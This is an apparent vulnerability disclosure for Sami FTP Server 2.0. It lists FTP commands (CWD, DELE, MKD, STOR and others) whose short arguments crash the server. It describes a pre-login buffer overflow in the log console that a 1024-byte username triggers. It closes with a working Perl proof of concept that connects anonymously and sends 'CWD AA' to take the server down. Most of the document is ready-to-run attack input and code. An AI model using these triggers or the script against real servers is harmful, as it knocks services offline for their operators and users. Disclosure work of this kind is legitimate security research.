Sami FTP Server 2.0.* Multiple Remote Vulnerabilities

Bugs :

1)Multiples remote denial of service (CWD,DELE,MKD,RMD,RETR,RNFR,RNTO,SIZE,STOR)

2)Remote Buffer overflow (Logs)

Remote Denial of service:

APPE A => server gone

CWD AA => server gone

DELE AA ==> server gone

MKD AA ==> server gone

RMD AA ==> server gone

RETR AA ==> server gone

RNFR AA ==> server gone

RNTO AA ==> server gone

SIZE AA ==> server gone

STOR AA ==> server gone

Buffer Overflow :

In the console management,you can view your logs,and set some stuff,when you open the console management a

buffer overflow occurs ,if you have send previously a request(no matter the command) with 1024 bytes to the server.

Also explorer.exe crash at the same time, 2 in 1 ;] The file is called(SamyFtp.binlog)note that this bug is

quite critical , because it will occurs all the time,when you open the console management,and you dont need to be loggued

you can simply send a username with 1024 bytes …

@nolife: Life is always better when you dont know. things are clearer also smile

Denial of service Poc

use Net::FTP;
(($target = $ARGV[0])) || die "usage:$0 <target> <port>";
my $user = "anonymous";
my $pass = "something";
print "Trying to connect to :$target…\n";
$ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not connect";
print "Connected!\n";
$ftp->login($user, $pass);
$ftp->cwd("AA");
print "Poc Successfull the server should down now \n";
$ftp->quit;
